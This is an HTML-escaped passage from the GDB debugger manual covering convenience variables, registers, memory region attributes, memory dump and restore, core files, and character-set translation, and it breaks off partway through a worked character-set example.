&lt;p&gt;&lt;code&gt;$_&lt;&#x2F;code&gt;The variable &lt;code&gt;$_&lt;&#x2F;code&gt; is automatically set by the &lt;code&gt;x&lt;&#x2F;code&gt; command to the last address examined (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC61&quot;&gt;Examining memory&lt;&#x2F;a&gt;).  Other commands which provide a default address for &lt;code&gt;x&lt;&#x2F;code&gt; to examine also set &lt;code&gt;$_&lt;&#x2F;code&gt; to that address; these commands include &lt;code&gt;info line&lt;&#x2F;code&gt;and &lt;code&gt;info breakpoint&lt;&#x2F;code&gt;.  The type of &lt;code&gt;$_&lt;&#x2F;code&gt; is &lt;code&gt;void *&lt;&#x2F;code&gt;except when set by the &lt;code&gt;x&lt;&#x2F;code&gt; command, in which case it is a pointer to the type of &lt;code&gt;$__&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$__&lt;&#x2F;code&gt;The variable &lt;code&gt;$__&lt;&#x2F;code&gt; is automatically set by the &lt;code&gt;x&lt;&#x2F;code&gt; command to the value found in the last address examined.  Its type is chosen to match the format in which the data was printed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$_exitcode&lt;&#x2F;code&gt;The variable &lt;code&gt;$_exitcode&lt;&#x2F;code&gt; is automatically set to the exit code when the program being debugged terminates.&lt;&#x2F;p&gt;
&lt;p&gt;On HP-UX systems, if you refer to a function or variable name that begins with a dollar sign, GDB searches for a user or system name first, before it searches for a convenience variable.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;registers&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC66&quot;&gt;Registers&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You can refer to machine register contents, in expressions, as variables with names starting with `$&#x27;.  The names of registers are different for each machine; use &lt;code&gt;info registers&lt;&#x2F;code&gt; to see the names used on your machine.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info registers&lt;&#x2F;code&gt;Print the names and values of all registers except floating-point and vector registers (in the selected stack frame).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info all-registers&lt;&#x2F;code&gt;Print the names and values of all registers, including floating-point and vector registers (in the selected stack frame).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info registers regname ...&lt;&#x2F;code&gt;Print the &lt;strong&gt;relativized&lt;&#x2F;strong&gt; value of each specified register regname. As discussed in detail below, register values are normally relative to the selected stack frame.  regname may be any register name valid on the machine you are using, with or without the initial `$&#x27;.&lt;&#x2F;p&gt;
&lt;p&gt;GDB has four &quot;standard&quot; register names that are available (in expressions) on most machines--whenever they do not conflict with an architecture&#x27;s canonical mnemonics for registers.  The register names&lt;code&gt;$pc&lt;&#x2F;code&gt; and &lt;code&gt;$sp&lt;&#x2F;code&gt; are used for the program counter register and the stack pointer.  &lt;code&gt;$fp&lt;&#x2F;code&gt; is used for a register that contains a pointer to the current stack frame, and &lt;code&gt;$ps&lt;&#x2F;code&gt; is used for a register that contains the processor status.  For example, you could print the program counter in hex with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;p&amp;#x2F;x $pc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;or print the instruction to be executed next with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;x&amp;#x2F;i $pc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;or add four to the stack pointer&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_foot.html#FOOT5&quot;&gt;(5)&lt;&#x2F;a&gt; with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set $sp += 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Whenever possible, these four standard register names are available on your machine even though the machine has different canonical mnemonics, so long as there is no conflict.  The &lt;code&gt;info registers&lt;&#x2F;code&gt; command shows the canonical names.  For example, on the SPARC, &lt;code&gt;info registers&lt;&#x2F;code&gt; displays the processor status register as &lt;code&gt;$psr&lt;&#x2F;code&gt; but you can also refer to it as &lt;code&gt;$ps&lt;&#x2F;code&gt;; and on x86-based machines &lt;code&gt;$ps&lt;&#x2F;code&gt;is an alias for the EFLAGS register.&lt;&#x2F;p&gt;
&lt;p&gt;GDB always considers the contents of an ordinary register as an integer when the register is examined in this way.  Some machines have special registers which can hold nothing but floating point; these registers are considered to have floating point values.  There is no way to refer to the contents of an ordinary register as floating point value (although you can &lt;em&gt;print&lt;&#x2F;em&gt; it as a floating point value with`print&#x2F;f $regname&#x27;).&lt;&#x2F;p&gt;
&lt;p&gt;Some registers have distinct &quot;raw&quot; and &quot;virtual&quot; data formats.  This means that the data format in which the register contents are saved by the operating system is not the same one that your program normally sees.  For example, the registers of the 68881 floating point coprocessor are always saved in &quot;extended&quot; (raw) format, but all C programs expect to work with &quot;double&quot; (virtual) format.  In such cases, GDB normally works with the virtual format only (the format that makes sense for your program), but the &lt;code&gt;info registers&lt;&#x2F;code&gt; command prints the data in both formats.&lt;&#x2F;p&gt;
&lt;p&gt;Normally, register values are relative to the selected stack frame (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_7.html#SEC47&quot;&gt;Selecting a frame&lt;&#x2F;a&gt;).  This means that you get the value that the register would contain if all stack frames farther in were exited and their saved registers restored.  In order to see the true contents of hardware registers, you must select the innermost frame (with `frame 0&#x27;).&lt;&#x2F;p&gt;
&lt;p&gt;However, GDB must deduce where registers are saved, from the machine code generated by your compiler.  If some registers are not saved, or if GDB is unable to locate the saved registers, the selected stack frame makes no difference.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;floating-point-hardware&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC67&quot;&gt;Floating point hardware&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Depending on the configuration, GDB may be able to give you more information about the status of the floating point hardware.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info float&lt;&#x2F;code&gt;Display hardware-dependent information about the floating point unit.  The exact contents and layout vary depending on the floating point chip.  Currently, `info float&#x27; is supported on the ARM and x86 machines.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;vector-unit&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC68&quot;&gt;Vector Unit&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Depending on the configuration, GDB may be able to give you more information about the status of the vector unit.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info vector&lt;&#x2F;code&gt;Display information about the vector unit.  The exact contents and layout vary depending on the hardware.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;operating-system-auxiliary-information&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC69&quot;&gt;Operating system auxiliary information&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;GDB provides interfaces to useful OS facilities that can help you debug your program.&lt;&#x2F;p&gt;
&lt;p&gt;When GDB runs on a &lt;strong&gt;Posix system&lt;&#x2F;strong&gt; (such as GNU or Unix machines), it interfaces with the inferior via the &lt;code&gt;ptrace&lt;&#x2F;code&gt;system call.  The operating system creates a special sata structure, called &lt;code&gt;struct user&lt;&#x2F;code&gt;, for this interface.  You can use the command &lt;code&gt;info udot&lt;&#x2F;code&gt; to display the contents of this data structure.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info udot&lt;&#x2F;code&gt;Display the contents of the &lt;code&gt;struct user&lt;&#x2F;code&gt; maintained by the OS kernel for the program being debugged.  GDB displays the contents of &lt;code&gt;struct user&lt;&#x2F;code&gt; as a list of hex numbers, similar to the &lt;code&gt;examine&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;p&gt;Some operating systems supply an &lt;strong&gt;auxiliary vector&lt;&#x2F;strong&gt; to programs at startup.  This is akin to the arguments and environment that you specify for a program, but contains a system-dependent variety of binary values that tell system libraries important details about the hardware, operating system, and process.  Each value&#x27;s purpose is identified by an integer tag; the meanings are well-known but system-specific. Depending on the configuration and operating system facilities, GDB may be able to show you this information.  For remote targets, this functionality may further depend on the remote stub&#x27;s support of the `qPart:auxv:read&#x27; packet, see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_18.html#SEC160&quot;&gt;Remote configuration&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info auxv&lt;&#x2F;code&gt;Display the auxiliary vector of the inferior, which can be either a live process or a core dump file.  GDB prints each tag value numerically, and also shows names and text descriptions for recognized tags.  Some values in the vector are numbers, some bit masks, and some pointers to strings or other data.  GDB displays each value in the most appropriate form for a recognized tag, and in hexadecimal for an unrecognized tag.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;memory-region-attributes&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC70&quot;&gt;Memory region attributes&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Memory region attributes&lt;&#x2F;strong&gt; allow you to describe special handling required by regions of your target&#x27;s memory.  GDB uses attributes to determine whether to allow certain types of memory accesses; whether to use specific width accesses; and whether to cache target memory.&lt;&#x2F;p&gt;
&lt;p&gt;Defined memory regions can be individually enabled and disabled.  When a memory region is disabled, GDB uses the default attributes when accessing memory in that region.  Similarly, if no memory regions have been defined, GDB uses the default attributes when accessing all memory.&lt;&#x2F;p&gt;
&lt;p&gt;When a memory region is defined, it is given a number to identify it; to enable, disable, or remove a memory region, you specify that number.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;mem lower upper attributes...&lt;&#x2F;code&gt;Define a memory region bounded by lower and upper with attributes attributes..., and add it to the list of regions monitored by GDB.  Note that upper == 0 is a special case: it is treated as the the target&#x27;s maximum memory address. (0xffff on 16 bit targets, 0xffffffff on 32 bit targets, etc.)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;delete mem nums...&lt;&#x2F;code&gt;Remove memory regions nums... from the list of regions monitored by GDB.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;disable mem nums...&lt;&#x2F;code&gt;Disable monitoring of memory regions nums.... A disabled memory region is not forgotten. It may be enabled again later.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;enable mem nums...&lt;&#x2F;code&gt;Enable monitoring of memory regions nums....&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info mem&lt;&#x2F;code&gt;Print a table of all defined memory regions, with the following columns for each region:&lt;em&gt;Memory Region Number**Enabled or Disabled.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Enabled memory regions are marked with `y&#x27;. Disabled memory regions are marked with `n&#x27;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Lo Address&lt;&#x2F;em&gt;The address defining the inclusive lower bound of the memory region.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Hi Address&lt;&#x2F;em&gt;The address defining the exclusive upper bound of the memory region.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Attributes&lt;&#x2F;em&gt;The list of attributes set for this memory region.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;attributes&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC71&quot;&gt;Attributes&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;memory-access-mode&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC72&quot;&gt;Memory Access Mode&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;The access mode attributes set whether GDB may make read or write accesses to a memory region.&lt;&#x2F;p&gt;
&lt;p&gt;While these attributes prevent GDB from performing invalid memory accesses, they do nothing to prevent the target system, I&#x2F;O DMA, etc. from accessing memory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ro&lt;&#x2F;code&gt;Memory is read only.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;wo&lt;&#x2F;code&gt;Memory is write only.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;rw&lt;&#x2F;code&gt;Memory is read&#x2F;write.  This is the default.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;memory-access-size&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC73&quot;&gt;Memory Access Size&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;The acccess size attributes tells GDB to use specific sized accesses in the memory region.  Often memory mapped device registers require specific sized accesses.  If no access size attribute is specified, GDB may use accesses of any size.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;8&lt;&#x2F;code&gt;Use 8 bit memory accesses.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;16&lt;&#x2F;code&gt;Use 16 bit memory accesses.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;32&lt;&#x2F;code&gt;Use 32 bit memory accesses.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;64&lt;&#x2F;code&gt;Use 64 bit memory accesses.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;data-cache&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC74&quot;&gt;Data Cache&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;The data cache attributes set whether GDB will cache target memory.  While this generally improves performance by reducing debug protocol overhead, it can lead to incorrect results because GDB does not know about volatile variables or memory mapped device registers.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;cache&lt;&#x2F;code&gt;Enable GDB to cache target memory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;nocache&lt;&#x2F;code&gt;Disable GDB from caching target memory.  This is the default.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;copy-between-memory-and-a-file&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC75&quot;&gt;Copy between memory and a file&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You can use the commands &lt;code&gt;dump&lt;&#x2F;code&gt;, &lt;code&gt;append&lt;&#x2F;code&gt;, and&lt;code&gt;restore&lt;&#x2F;code&gt; to copy data between target memory and a file.  The&lt;code&gt;dump&lt;&#x2F;code&gt; and &lt;code&gt;append&lt;&#x2F;code&gt; commands write data to a file, and the&lt;code&gt;restore&lt;&#x2F;code&gt; command reads data from a file back into the inferior&#x27;s memory.  Files may be in binary, Motorola S-record, Intel hex, or Tektronix Hex format; however, GDB can only append to binary files.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;dump [format] memory filename start_addr end_addr``dump [format] value filename expr&lt;&#x2F;code&gt;Dump the contents of memory from start_addr to end_addr, or the value of expr, to filename in the given format.  The format parameter may be any one of:&lt;code&gt;binary&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Raw binary form.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ihex&lt;&#x2F;code&gt;Intel hex format.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;srec&lt;&#x2F;code&gt;Motorola S-record format.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;tekhex&lt;&#x2F;code&gt;Tektronix Hex format.&lt;&#x2F;p&gt;
&lt;p&gt;GDB uses the same definitions of these formats as the GNU binary utilities, like `objdump&#x27; and `objcopy&#x27;.  Ifformat is omitted, GDB dumps the data in raw binary form.&lt;code&gt;append [binary] memory filename start_addr end_addr``append [binary] value filename expr&lt;&#x2F;code&gt;Append the contents of memory from start_addr to end_addr, or the value of expr, to the file filename, in raw binary form. (GDB can only append data to files in raw binary form.)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;restore filename [binary] bias start end&lt;&#x2F;code&gt;Restore the contents of file filename into memory.  The&lt;code&gt;restore&lt;&#x2F;code&gt; command can automatically recognize any known BFD file format, except for raw binary.  To restore a raw binary file you must specify the optional keyword &lt;code&gt;binary&lt;&#x2F;code&gt; after the filename.  If bias is non-zero, its value will be added to the addresses contained in the file.  Binary files always start at address zero, so they will be restored at address bias.  Other bfd files have a built-in location; they will be restored at offset biasfrom that location.  If start and&#x2F;or end are non-zero, then only data between file offset start and file offset end will be restored. These offsets are relative to the addresses in the file, before the bias argument is applied.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-produce-a-core-file-from-your-program&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC76&quot;&gt;How to Produce a Core File from Your Program&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A &lt;strong&gt;core file&lt;&#x2F;strong&gt; or&lt;strong&gt;core dump&lt;&#x2F;strong&gt; is a file that records the memory image of a running process and its process status (register values etc.).  Its primary use is post-mortem debugging of a program that crashed while it ran outside a debugger.  A program that crashes automatically produces a core file, unless this feature is disabled by the user.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_16.html#SEC147&quot;&gt;Commands to specify files&lt;&#x2F;a&gt;, for information on invoking GDB in the post-mortem debugging mode.&lt;&#x2F;p&gt;
&lt;p&gt;Occasionally, you may wish to produce a core file of the program you are debugging in order to preserve a snapshot of its state. GDB has a special command for that.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;generate-core-file [file]``gcore [file]&lt;&#x2F;code&gt;Produce a core dump of the inferior process.  The optional argumentfile specifies the file name where to put the core dump.  If not specified, the file name defaults to `core.pid&#x27;, wherepid is the inferior process ID.  Note that this command is implemented only for some systems (as of this writing, GNU&#x2F;Linux, FreeBSD, Solaris, Unixware, and S390).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;character-sets&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC77&quot;&gt;Character Sets&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If the program you are debugging uses a different character set to represent characters and strings than the one GDB uses itself, GDB can automatically translate between the character sets for you.  The character set GDB uses we call the &lt;strong&gt;host character set&lt;&#x2F;strong&gt;; the one the inferior program uses we call the&lt;strong&gt;target character set&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For example, if you are running GDB on a GNU&#x2F;Linux system, which uses the ISO Latin 1 character set, but you are using GDB&#x27;s remote protocol (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_17.html#SEC154&quot;&gt;Remote debugging&lt;&#x2F;a&gt;) to debug a program running on an IBM mainframe, which uses the EBCDIC character set, then the host character set is Latin-1, and the target character set is EBCDIC.  If you give GDB the command &lt;code&gt;set target-charset EBCDIC-US&lt;&#x2F;code&gt;, then GDB translates between EBCDIC and Latin 1 as you print character or string values, or use character and string literals in expressions.&lt;&#x2F;p&gt;
&lt;p&gt;GDB has no way to automatically recognize which character set the inferior program uses; you must tell it, using the &lt;code&gt;set target-charset&lt;&#x2F;code&gt; command, described below.&lt;&#x2F;p&gt;
&lt;p&gt;Here are the commands for controlling GDB&#x27;s character set support:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set target-charset charset&lt;&#x2F;code&gt;Set the current target character set to charset.  We list the character set names GDB recognizes below, but if you type&lt;code&gt;set target-charset&lt;&#x2F;code&gt; followed by &lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;&lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;, GDB will list the target character sets it supports.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set host-charset charset&lt;&#x2F;code&gt;Set the current host character set to charset.  By default, GDB uses a host character set appropriate to the system it is running on; you can override that default using the&lt;code&gt;set host-charset&lt;&#x2F;code&gt; command.  GDB can only use certain character sets as its host character set.  We list the character set names GDB recognizes below, and indicate which can be host character sets, but if you type&lt;code&gt;set target-charset&lt;&#x2F;code&gt; followed by &lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;&lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;, GDB will list the host character sets it supports.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set charset charset&lt;&#x2F;code&gt;Set the current host and target character sets to charset.  As above, if you type &lt;code&gt;set charset&lt;&#x2F;code&gt; followed by &lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;&lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;, GDB will list the name of the character sets that can be used for both host and target.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show charset&lt;&#x2F;code&gt;Show the names of the current host and target charsets.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show host-charset&lt;&#x2F;code&gt;Show the name of the current host charset.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show target-charset&lt;&#x2F;code&gt;Show the name of the current target charset.&lt;&#x2F;p&gt;
&lt;p&gt;GDB currently includes support for the following character sets:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ASCII&lt;&#x2F;code&gt;Seven-bit U.S. ASCII.  GDB can use this as its host character set.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ISO-8859-1&lt;&#x2F;code&gt;The ISO Latin 1 character set.  This extends ASCII with accented characters needed for French, German, and Spanish.  GDB can use this as its host character set.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;EBCDIC-US``IBM1047&lt;&#x2F;code&gt;Variants of the EBCDIC character set, used on some of IBM&#x27;s mainframe operating systems.  (GNU&#x2F;Linux on the S&#x2F;390 uses U.S. ASCII.) GDB cannot use these as its host character set.&lt;&#x2F;p&gt;
&lt;p&gt;Note that these are all single-byte character sets.  More work inside GDB is needed to support multi-byte or variable-width character encodings, like the UTF-8 and UCS-2 encodings of Unicode.&lt;&#x2F;p&gt;
&lt;p&gt;Here is an example of GDB&#x27;s character set support in action. Assume that the following source code has been placed in the file`charset-test.c&#x27;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

char ascii_hello[]
  = {72, 101, 108, 108, 111, 44, 32, 119,
     111, 114, 108, 100, 33, 10, 0};
char ibm1047_hello[]
  = {200, 133, 147, 147, 150, 107, 64, 166,
     150, 153, 147, 132, 90, 37, 0};

main ()
{
  printf (&amp;quot;Hello, world!\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this program, &lt;code&gt;ascii_hello&lt;&#x2F;code&gt; and &lt;code&gt;ibm1047_hello&lt;&#x2F;code&gt; are arrays containing the string `Hello, world!&#x27; followed by a newline, encoded in the ASCII and IBM1047 character sets.&lt;&#x2F;p&gt;
&lt;p&gt;We compile the program, and invoke the debugger on it:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g charset-test.c -o charset-test
$ gdb -nw charset-test
GNU gdb 2001-12-19-cvs
Copyright 2001 Free Software Foundation, Inc.
...
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can use the &lt;code&gt;show charset&lt;&#x2F;code&gt; command to see what character sets GDB is currently using to interpret and display characters and strings:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) show charset
The current host and target character set is `ISO-8859-1&amp;#x27;.
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For the sake of printing this manual, let&#x27;s use ASCII as our initial character set:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set charset ASCII
(gdb) show charset
The current host and target character set is `ASCII&amp;#x27;.
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let&#x27;s assume that ASCII is indeed the correct character set for our host system -- in other words, let&#x27;s assume that if GDB prints characters using the ASCII character set, our terminal will display them properly.  Since our current target character set is also ASCII, the contents of &lt;code&gt;ascii_hello&lt;&#x2F;code&gt; print legibly:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) print ascii_hello
$1 = 0x401698 &amp;quot;Hello, world!\n&amp;quot;
(gdb) print ascii_hello[0]
$2 = 72 &amp;#x27;H&amp;#x27;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;GDB uses the target character set for character and string literals you use in expressions:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) print &amp;#x27;+&amp;#x27;
$3 = 43 &amp;#x27;+&amp;#x27;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The ASCII character set uses the number 43 to encode the `+&#x27;character.&lt;&#x2F;p&gt;
&lt;p&gt;GDB relies on the user to tell it which character set the target program uses.  If we print &lt;code&gt;ibm1047_hello&lt;&#x2F;code&gt; while our target character set is still ASCII, we get jibberish:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) print ibm1047_hello
$4 = 0x4016a8 &amp;quot;\310\205\223\223\226k@\246\226\231\223\204Z%&amp;quot;
(gdb) print ibm1047_hello[0]
$5 = 200 &amp;#x27;\310&amp;#x27;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we invoke the &lt;code&gt;set target-charset&lt;&#x2F;code&gt; followed by &lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;&lt;kbd&gt;TAB&lt;&#x2F;kbd&gt;, GDB tells us the character sets it supports:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set target-charset
ASCII       EBCDIC-US   IBM1047     ISO-8859-1
(gdb) set target-charset
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can select IBM1047 as our target character set, and examine the program&#x27;s strings again.  Now the ASCII string is wrong, but GDB translates the contents of &lt;code&gt;ibm1047_hello&lt;&#x2F;code&gt; from the target character set, IBM1047, to the host character set, ASCII, and they display correctly:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set target-charset IBM1047
(gdb) show charset
The current host character set is `ASCII&amp;#x27;.
The current target character set is `IBM1047&amp;#x27;.
(gdb) print ascii_hello
$6 = 0x401698 &amp;quot;\110\145%%?\054\040\167?\162%\144\041\012&amp;quot;
